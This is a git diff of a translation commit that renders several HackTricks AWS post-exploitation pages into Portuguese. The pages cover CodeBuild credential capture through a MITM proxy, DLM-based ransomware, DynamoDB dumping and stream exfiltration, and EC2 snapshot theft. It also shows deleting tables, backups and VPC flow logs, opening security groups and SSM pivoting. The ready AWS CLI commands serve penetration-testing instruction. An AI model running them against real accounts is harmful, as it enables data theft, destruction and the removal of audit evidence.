-- Then, change the URL of the github repo to use HTTP instead of HTTPS, for example: `http://github.com/carlospolop-forks/TestActions` -- Then, run the basic example from [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) in the port pointed by the proxy variables (http_proxy and https_proxy) - +- Em seguida, mude a URL do repositório do github para usar HTTP em vez de HTTPS, por exemplo: `http://github.com/carlospolop-forks/TestActions` +- Em seguida, execute o exemplo básico de [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) na porta apontada pelas variáveis de proxy (http_proxy e https_proxy) ```python from mitm import MITM, protocol, middleware, crypto mitm = MITM( - host="0.0.0.0", - port=4444, - protocols=[protocol.HTTP], - middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. - certificate_authority = crypto.CertificateAuthority() +host="0.0.0.0", +port=4444, +protocols=[protocol.HTTP], +middlewares=[middleware.Log], # middleware.HTTPLog used for the example below. +certificate_authority = crypto.CertificateAuthority() ) mitm.run() ``` - -- Next, click on **Build the project** or start the build from command line: - +- Em seguida, clique em **Build the project** ou inicie a construção a partir da linha de comando: ```sh aws codebuild start-build --project-name ``` - -- Finally, the **credentials** will be **sent in clear text** (base64) to the mitm port: +- Finalmente, as **credenciais** serão **enviadas em texto claro** (base64) para a porta mitm:
> [!WARNING] -> Now an attacker will be able to use the token from his machine, list all the privileges it has and (ab)use easier than using the CodeBuild service directly. +> Agora um atacante poderá usar o token de sua máquina, listar todos os privilégios que possui e (ab)usar mais facilmente do que usando o serviço CodeBuild diretamente. {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md index f1c6fb394..0f637384c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation.md @@ -1,24 +1,18 @@ -# AWS - Control Tower Post Exploitation +# AWS - Controle de Torre Pós-Exploração {{#include ../../../banners/hacktricks-training.md}} -## Control Tower +## Controle de Torre {{#ref}} ../aws-services/aws-security-and-detection-services/aws-control-tower-enum.md {{#endref}} -### Enable / Disable Controls - -To further exploit an account, you might need to disable/enable Control Tower controls: +### Habilitar / Desabilitar Controles +Para explorar ainda mais uma conta, você pode precisar desabilitar/habilitar os controles do Controle de Torre: ```bash aws controltower disable-control --control-identifier --target-identifier aws controltower enable-control --control-identifier --target-identifier ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md index baa309e53..e1ac58267 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dlm-post-exploitation.md @@ -1,99 +1,91 @@ -# AWS - DLM Post Exploitation +# AWS - DLM Pós Exploração {{#include ../../../banners/hacktricks-training.md}} -## Data Lifecycle Manger (DLM) +## Gerenciador de Ciclo de Vida de Dados (DLM) ### `EC2:DescribeVolumes`, `DLM:CreateLifeCyclePolicy` -A ransomware attack can be executed by encrypting as many EBS volumes as possible and then erasing the current EC2 instances, EBS volumes, and snapshots. To automate this malicious activity, one can employ Amazon DLM, encrypting the snapshots with a KMS key from another AWS account and transferring the encrypted snapshots to a different account. Alternatively, they might transfer snapshots without encryption to an account they manage and then encrypt them there. Although it's not straightforward to encrypt existing EBS volumes or snapshots directly, it's possible to do so by creating a new volume or snapshot. +Um ataque de ransomware pode ser executado criptografando o maior número possível de volumes EBS e, em seguida, apagando as instâncias EC2 atuais, volumes EBS e snapshots. Para automatizar essa atividade maliciosa, pode-se empregar o Amazon DLM, criptografando os snapshots com uma chave KMS de outra conta AWS e transferindo os snapshots criptografados para uma conta diferente. Alternativamente, podem transferir snapshots sem criptografia para uma conta que gerenciam e, em seguida, criptografá-los lá. Embora não seja simples criptografar volumes EBS ou snapshots existentes diretamente, é possível fazê-lo criando um novo volume ou snapshot. -Firstly, one will use a command to gather information on volumes, such as instance ID, volume ID, encryption status, attachment status, and volume type. +Primeiramente, usará um comando para coletar informações sobre os volumes, como ID da instância, ID do volume, status de criptografia, status de anexação e tipo de volume. `aws ec2 describe-volumes` -Secondly, one will create the lifecycle policy. This command employs the DLM API to set up a lifecycle policy that automatically takes daily snapshots of specified volumes at a designated time. It also applies specific tags to the snapshots and copies tags from the volumes to the snapshots. The policyDetails.json file includes the lifecycle policy's specifics, such as target tags, schedule, the ARN of the optional KMS key for encryption, and the target account for snapshot sharing, which will be recorded in the victim's CloudTrail logs. - +Em segundo lugar, criará a política de ciclo de vida. Este comando utiliza a API DLM para configurar uma política de ciclo de vida que automaticamente tira snapshots diários dos volumes especificados em um horário designado. Também aplica tags específicas aos snapshots e copia tags dos volumes para os snapshots. O arquivo policyDetails.json inclui os detalhes da política de ciclo de vida, como tags alvo, cronograma, o ARN da chave KMS opcional para criptografia e a conta alvo para compartilhamento de snapshots, que será registrado nos logs do CloudTrail da vítima. ```bash aws dlm create-lifecycle-policy --description "My first policy" --state ENABLED --execution-role-arn arn:aws:iam::12345678910:role/AWSDataLifecycleManagerDefaultRole --policy-details file://policyDetails.json ``` - -A template for the policy document can be seen here: - +Um modelo para o documento de política pode ser visto aqui: ```bash { - "PolicyType": "EBS_SNAPSHOT_MANAGEMENT", - "ResourceTypes": [ - "VOLUME" - ], - "TargetTags": [ - { - "Key": "ExampleKey", - "Value": "ExampleValue" - } - ], - "Schedules": [ - { - "Name": "DailySnapshots", - "CopyTags": true, - "TagsToAdd": [ - { - "Key": "SnapshotCreator", - "Value": "DLM" - } - ], - "VariableTags": [ - { - "Key": "CostCenter", - "Value": "Finance" - } - ], - "CreateRule": { - "Interval": 24, - "IntervalUnit": "HOURS", - "Times": [ - "03:00" - ] - }, - "RetainRule": { - "Count": 14 - }, - "FastRestoreRule": { - "Count": 2, - "Interval": 12, - "IntervalUnit": "HOURS" - }, - "CrossRegionCopyRules": [ - { - "TargetRegion": "us-west-2", - "Encrypted": true, - "CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", - "CopyTags": true, - "RetainRule": { - "Interval": 1, - "IntervalUnit": "DAYS" - } - } - ], - "ShareRules": [ - { - "TargetAccounts": [ - "123456789012" - ], - "UnshareInterval": 30, - "UnshareIntervalUnit": "DAYS" - } - ] - } - ], - "Parameters": { - "ExcludeBootVolume": false - } +"PolicyType": "EBS_SNAPSHOT_MANAGEMENT", +"ResourceTypes": [ +"VOLUME" +], +"TargetTags": [ +{ +"Key": "ExampleKey", +"Value": "ExampleValue" +} +], +"Schedules": [ +{ +"Name": "DailySnapshots", +"CopyTags": true, +"TagsToAdd": [ +{ +"Key": "SnapshotCreator", +"Value": "DLM" +} +], +"VariableTags": [ +{ +"Key": "CostCenter", +"Value": "Finance" +} +], +"CreateRule": { +"Interval": 24, +"IntervalUnit": "HOURS", +"Times": [ +"03:00" +] +}, +"RetainRule": { +"Count": 14 +}, +"FastRestoreRule": { +"Count": 2, +"Interval": 12, +"IntervalUnit": "HOURS" +}, +"CrossRegionCopyRules": [ +{ +"TargetRegion": "us-west-2", +"Encrypted": true, +"CmkArn": "arn:aws:kms:us-west-2:123456789012:key/your-kms-key-id", +"CopyTags": true, +"RetainRule": { +"Interval": 1, +"IntervalUnit": "DAYS" +} +} +], +"ShareRules": [ +{ +"TargetAccounts": [ +"123456789012" +], +"UnshareInterval": 30, +"UnshareIntervalUnit": "DAYS" +} +] +} +], +"Parameters": { +"ExcludeBootVolume": false +} } ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md index d63689d9e..a48e0e844 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation.md @@ -1,10 +1,10 @@ -# AWS - DynamoDB Post Exploitation +# AWS - Exploração Pós-Explotação do DynamoDB {{#include ../../../banners/hacktricks-training.md}} ## DynamoDB -For more information check: +Para mais informações, consulte: {{#ref}} ../aws-services/aws-dynamodb-enum.md @@ -12,342 +12,292 @@ For more information check: ### `dynamodb:BatchGetItem` -An attacker with this permissions will be able to **get items from tables by the primary key** (you cannot just ask for all the data of the table). This means that you need to know the primary keys (you can get this by getting the table metadata (`describe-table`). +Um atacante com essas permissões poderá **obter itens de tabelas pela chave primária** (você não pode simplesmente solicitar todos os dados da tabela). Isso significa que você precisa conhecer as chaves primárias (você pode obter isso acessando os metadados da tabela (`describe-table`). {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { - "ProductCatalog" : { // This is the table name - "Keys": [ - { - "Id" : { // Primary keys name - "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those - } - } - ] - } +"ProductCatalog" : { // This is the table name +"Keys": [ +{ +"Id" : { // Primary keys name +"N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those +} +} +] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb batch-get-item \ - --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ - --region +--request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela ### `dynamodb:GetItem` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve: - +**Semelhante às permissões anteriores** esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { - "N": "205" +"N": "205" } } ``` - -With this permission it's also possible to use the **`transact-get-items`** method like: - +Com esta permissão, também é possível usar o método **`transact-get-items`** da seguinte forma: ```json aws dynamodb transact-get-items \ - --transact-items file:///tmp/a.json +--transact-items file:///tmp/a.json // With a.json [ - { - "Get": { - "Key": { - "Id": {"N": "205"} - }, - "TableName": "ProductCatalog" - } - } +{ +"Get": { +"Key": { +"Id": {"N": "205"} +}, +"TableName": "ProductCatalog" +} +} ] ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela ### `dynamodb:Query` -**Similar to the previous permissions** this one allows a potential attacker to read values from just 1 table given the primary key of the entry to retrieve. It allows to use a [subset of comparisons](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), but the only comparison allowed with the primary key (that must appear) is "EQ", so you cannot use a comparison to get the whole DB in a request. +**Semelhante às permissões anteriores**, esta permite que um potencial atacante leia valores de apenas 1 tabela, dado a chave primária da entrada a ser recuperada. Permite usar um [subconjunto de comparações](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), mas a única comparação permitida com a chave primária (que deve aparecer) é "EQ", então você não pode usar uma comparação para obter todo o DB em uma solicitação. {{#tabs }} {{#tab name="json file" }} - ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json - // With a.json - { +// With a.json +{ "Id" : { - "ComparisonOperator":"EQ", - "AttributeValueList": [ {"N": "205"} ] - } +"ComparisonOperator":"EQ", +"AttributeValueList": [ {"N": "205"} ] +} } ``` - {{#endtab }} {{#tab name="inline" }} - ```bash aws dynamodb query \ - --table-name TargetTable \ - --key-condition-expression "AttributeName = :value" \ - --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ - --region +--table-name TargetTable \ +--key-condition-expression "AttributeName = :value" \ +--expression-attribute-values '{":value":{"S":"TargetValue"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela ### `dynamodb:Scan` -You can use this permission to **dump the entire table easily**. - +Você pode usar esta permissão para **extrair facilmente toda a tabela**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela ### `dynamodb:PartiQLSelect` -You can use this permission to **dump the entire table easily**. - +Você pode usar esta permissão para **extrair facilmente toda a tabela**. ```bash aws dynamodb execute-statement \ - --statement "SELECT * FROM ProductCatalog" +--statement "SELECT * FROM ProductCatalog" ``` - -This permission also allow to perform `batch-execute-statement` like: - +Esta permissão também permite executar `batch-execute-statement` como: ```bash aws dynamodb batch-execute-statement \ - --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' +--statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` +mas você precisa especificar a chave primária com um valor, então não é tão útil. -but you need to specify the primary key with a value, so it isn't that useful. - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` -This permission will allow an attacker to **export the whole table to a S3 bucket** of his election: - +Esta permissão permitirá que um atacante **exporte toda a tabela para um bucket S3** de sua escolha: ```bash aws dynamodb export-table-to-point-in-time \ - --table-arn arn:aws:dynamodb:::table/TargetTable \ - --s3-bucket \ - --s3-prefix \ - --export-time \ - --region +--table-arn arn:aws:dynamodb:::table/TargetTable \ +--s3-bucket \ +--s3-prefix \ +--export-time \ +--region ``` - -Note that for this to work the table needs to have point-in-time-recovery enabled, you can check if the table has it with: - +Note que, para que isso funcione, a tabela precisa ter a recuperação em ponto no tempo habilitada. Você pode verificar se a tabela a possui com: ```bash aws dynamodb describe-continuous-backups \ - --table-name +--table-name ``` - -If it isn't enabled, you will need to **enable it** and for that you need the **`dynamodb:ExportTableToPointInTime`** permission: - +Se não estiver habilitado, você precisará **habilitá-lo** e para isso você precisa da permissão **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ - --table-name \ - --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true +--table-name \ +--point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table +**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis na tabela ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` -With these permissions, an attacker would be able to **create a new table from a backup** (or even create a backup to then restore it in a different table). Then, with the necessary permissions, he would be able to check **information** from the backups that c**ould not be any more in the production** table. - +Com essas permissões, um atacante seria capaz de **criar uma nova tabela a partir de um backup** (ou até mesmo criar um backup para depois restaurá-lo em uma tabela diferente). Então, com as permissões necessárias, ele poderia verificar **informações** dos backups que **poderiam não estar mais na tabela de produção**. ```bash aws dynamodb restore-table-from-backup \ - --backup-arn \ - --target-table-name \ - --region +--backup-arn \ +--target-table-name \ +--region ``` - -**Potential Impact:** Indirect privesc by locating sensitive information in the table backup +**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no backup da tabela ### `dynamodb:PutItem` -This permission allows users to add a **new item to the table or replace an existing item** with a new item. If an item with the same primary key already exists, the **entire item will be replaced** with the new item. If the primary key does not exist, a new item with the specified primary key will be **created**. +Esta permissão permite que os usuários adicionem um **novo item à tabela ou substituam um item existente** por um novo item. Se um item com a mesma chave primária já existir, o **item inteiro será substituído** pelo novo item. Se a chave primária não existir, um novo item com a chave primária especificada será **criado**. {{#tabs }} -{{#tab name="XSS Example" }} - +{{#tab name="Exemplo de XSS" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { - "Id": { - "S": "1000" - }, - "Name": { - "S": "Marc" - }, - "Description": { - "S": "" - } +"Id": { +"S": "1000" +}, +"Name": { +"S": "Marc" +}, +"Description": { +"S": "" +} } ``` - {{#endtab }} -{{#tab name="AI Example" }} - +{{#tab name="Exemplo de IA" }} ```bash aws dynamodb put-item \ - --table-name ExampleTable \ - --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ - --region +--table-name ExampleTable \ +--item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Impacto Potencial:** Exploração de vulnerabilidades/bypasses adicionais ao poder adicionar/modificar dados em uma tabela DynamoDB ### `dynamodb:UpdateItem` -This permission allows users to **modify the existing attributes of an item or add new attributes to an item**. It does **not replace** the entire item; it only updates the specified attributes. If the primary key does not exist in the table, the operation will **create a new item** with the specified primary key and set the attributes specified in the update expression. +Esta permissão permite que os usuários **modifiquem os atributos existentes de um item ou adicionem novos atributos a um item**. Ela **não substitui** o item inteiro; apenas atualiza os atributos especificados. Se a chave primária não existir na tabela, a operação **criará um novo item** com a chave primária especificada e definirá os atributos especificados na expressão de atualização. {{#tabs }} -{{#tab name="XSS Example" }} - +{{#tab name="Exemplo de XSS" }} ```bash ## Update item with XSS payload aws dynamodb update-item --table \ - --key file://key.json --update-expression "SET Description = :value" \ - --expression-attribute-values file://val.json +--key file://key.json --update-expression "SET Description = :value" \ +--expression-attribute-values file://val.json ### With key.json: { - "Id": { - "S": "1000" - } +"Id": { +"S": "1000" +} } ### and val.json { - ":value": { - "S": "" - } +":value": { +"S": "" +} } ``` - {{#endtab }} -{{#tab name="AI Example" }} - +{{#tab name="Exemplo de IA" }} ```bash aws dynamodb update-item \ - --table-name ExampleTable \ - --key '{"Id": {"S": "1"}}' \ - --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ - --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ - --region +--table-name ExampleTable \ +--key '{"Id": {"S": "1"}}' \ +--update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ +--expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ +--region ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Exploitation of further vulnerabilities/bypasses by being able to add/modify data in a DynamoDB table +**Impacto Potencial:** Exploração de outras vulnerabilidades/bypasses ao poder adicionar/modificar dados em uma tabela DynamoDB ### `dynamodb:DeleteTable` -An attacker with this permission can **delete a DynamoDB table, causing data loss**. - +Um atacante com esta permissão pode **deletar uma tabela DynamoDB, causando perda de dados**. ```bash aws dynamodb delete-table \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -**Potential impact**: Data loss and disruption of services relying on the deleted table. +**Impacto potencial**: Perda de dados e interrupção de serviços que dependem da tabela excluída. ### `dynamodb:DeleteBackup` -An attacker with this permission can **delete a DynamoDB backup, potentially causing data loss in case of a disaster recovery scenario**. - +Um atacante com esta permissão pode **excluir um backup do DynamoDB, potencialmente causando perda de dados em caso de um cenário de recuperação de desastres**. ```bash aws dynamodb delete-backup \ - --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ - --region +--backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ +--region ``` - -**Potential impact**: Data loss and inability to recover from a backup during a disaster recovery scenario. +**Impacto potencial**: Perda de dados e incapacidade de recuperar de um backup durante um cenário de recuperação de desastres. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] -> TODO: Test if this actually works +> TODO: Testar se isso realmente funciona -An attacker with these permissions can **enable a stream on a DynamoDB table, update the table to begin streaming changes, and then access the stream to monitor changes to the table in real-time**. This allows the attacker to monitor and exfiltrate data changes, potentially leading to data leakage. - -1. Enable a stream on a DynamoDB table: +Um atacante com essas permissões pode **ativar um stream em uma tabela DynamoDB, atualizar a tabela para começar a transmitir alterações e, em seguida, acessar o stream para monitorar alterações na tabela em tempo real**. Isso permite que o atacante monitore e exfiltre alterações de dados, potencialmente levando a um vazamento de dados. +1. Ativar um stream em uma tabela DynamoDB: ```bash bashCopy codeaws dynamodb update-table \ - --table-name TargetTable \ - --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ - --region +--table-name TargetTable \ +--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ +--region ``` - -2. Describe the stream to obtain the ARN and other details: - +2. Descreva o stream para obter o ARN e outros detalhes: ```bash bashCopy codeaws dynamodb describe-stream \ - --table-name TargetTable \ - --region +--table-name TargetTable \ +--region ``` - -3. Get the shard iterator using the stream ARN: - +3. Obtenha o iterador de fragmento usando o ARN do stream: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ - --stream-arn \ - --shard-id \ - --shard-iterator-type LATEST \ - --region +--stream-arn \ +--shard-id \ +--shard-iterator-type LATEST \ +--region ``` - -4. Use the shard iterator to access and exfiltrate data from the stream: - +4. Use o iterador de fragmentos para acessar e exfiltrar dados do fluxo: ```bash bashCopy codeaws dynamodbstreams get-records \ - --shard-iterator \ - --region +--shard-iterator \ +--region ``` - -**Potential impact**: Real-time monitoring and data leakage of the DynamoDB table's changes. +**Impacto potencial**: Monitoramento em tempo real e vazamento de dados das alterações da tabela DynamoDB. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index 9ae6a0a4f..f50f9409e 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -1,30 +1,29 @@ -# AWS - EC2, EBS, SSM & VPC Post Exploitation +# AWS - EC2, EBS, SSM & VPC Pós Exploração {{#include ../../../../banners/hacktricks-training.md}} ## EC2 & VPC -For more information check: +Para mais informações, consulte: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} -### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` +### **Espelho VPC Malicioso -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** without the need to install anything on the instances themselves. This duplicated traffic would commonly be sent to something like a network intrusion detection system (IDS) for analysis and monitoring.\ -An attacker could abuse this to capture all the traffic and obtain sensitive information from it: +O espelhamento de tráfego VPC **duplica o tráfego de entrada e saída para instâncias EC2 dentro de uma VPC** sem a necessidade de instalar nada nas próprias instâncias. Esse tráfego duplicado geralmente seria enviado para algo como um sistema de detecção de intrusão de rede (IDS) para análise e monitoramento.\ +Um atacante poderia abusar disso para capturar todo o tráfego e obter informações sensíveis a partir dele: -For more information check this page: +Para mais informações, consulte esta página: {{#ref}} aws-malicious-vpc-mirror.md {{#endref}} -### Copy Running Instance - -Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**: +### Copiar Instância em Execução +As instâncias geralmente contêm algum tipo de informação sensível. Existem diferentes maneiras de entrar (ver [truques de escalonamento de privilégios EC2](../../aws-privilege-escalation/aws-ec2-privesc.md)). No entanto, outra maneira de verificar o que contém é **criar uma AMI e executar uma nova instância (mesmo na sua própria conta) a partir dela**: ```shell # List instances aws ec2 describe-images @@ -48,11 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` - ### EBS Snapshot dump -**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\ -If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account: +**Snapshots são backups de volumes**, que geralmente conterão **informações sensíveis**, portanto, verificá-los deve revelar essas informações.\ +Se você encontrar um **volume sem um snapshot**, você poderia: **Criar um snapshot** e realizar as seguintes ações ou apenas **montá-lo em uma instância** dentro da conta: {{#ref}} aws-ebs-snapshot-dump.md @@ -62,197 +60,178 @@ aws-ebs-snapshot-dump.md #### DNS Exfiltration -Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. +Mesmo que você restrinja um EC2 para que nenhum tráfego possa sair, ele ainda pode **exfiltrar via DNS**. -- **VPC Flow Logs will not record this**. -- You have no access to AWS DNS logs. -- Disable this by setting "enableDnsSupport" to false with: +- **Os VPC Flow Logs não registrarão isso**. +- Você não tem acesso aos logs DNS da AWS. +- Desative isso definindo "enableDnsSupport" como false com: - `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` +`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. +Um atacante poderia chamar endpoints de API de uma conta controlada por ele. O Cloudtrail registrará essas chamadas e o atacante poderá ver os dados exfiltrados nos logs do Cloudtrail. ### Open Security Group -You could get further access to network services by opening ports like this: - +Você poderia obter acesso adicional a serviços de rede abrindo portas assim: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` +### Privesc para ECS -### Privesc to ECS +É possível executar uma instância EC2 e registrá-la para ser usada para executar instâncias ECS e, em seguida, roubar os dados das instâncias ECS. -It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. - -For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). - -### Remove VPC flow logs +Para [**mais informações, verifique isso**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). +### Remover logs de fluxo do VPC ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` - ### SSM Port Forwarding -Required permissions: +Permissões necessárias: - `ssm:StartSession` -In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs. -One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster. +Além da execução de comandos, o SSM permite o tunelamento de tráfego, que pode ser abusado para pivotar a partir de instâncias EC2 que não têm acesso à rede devido a Grupos de Segurança ou NACLs. Um dos cenários onde isso é útil é pivotar de um [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) para um cluster EKS privado. -> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html - -1. Install the SessionManagerPlugin on your machine -2. Log in to the Bastion EC2 using the following command: +> Para iniciar uma sessão, você precisa do SessionManagerPlugin instalado: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +1. Instale o SessionManagerPlugin na sua máquina +2. Faça login no Bastion EC2 usando o seguinte comando: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` - -3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script -4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile -5. Log in to EKS as the Bastion EC2: - +3. Obtenha as credenciais temporárias do Bastion EC2 AWS com o script [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) +4. Transfira as credenciais para sua própria máquina no arquivo `$HOME/.aws/credentials` como perfil `[bastion-ec2]` +5. Faça login no EKS como o Bastion EC2: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` - -6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost` -7. Create an SSM tunnel as follows: - +6. Atualize o campo `server` no arquivo `$HOME/.kube/config` para apontar para `https://localhost` +7. Crie um túnel SSM da seguinte forma: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` - -8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running: - +8. O tráfego da ferramenta `kubectl` agora é encaminhado através do túnel SSM via o Bastion EC2 e você pode acessar o cluster 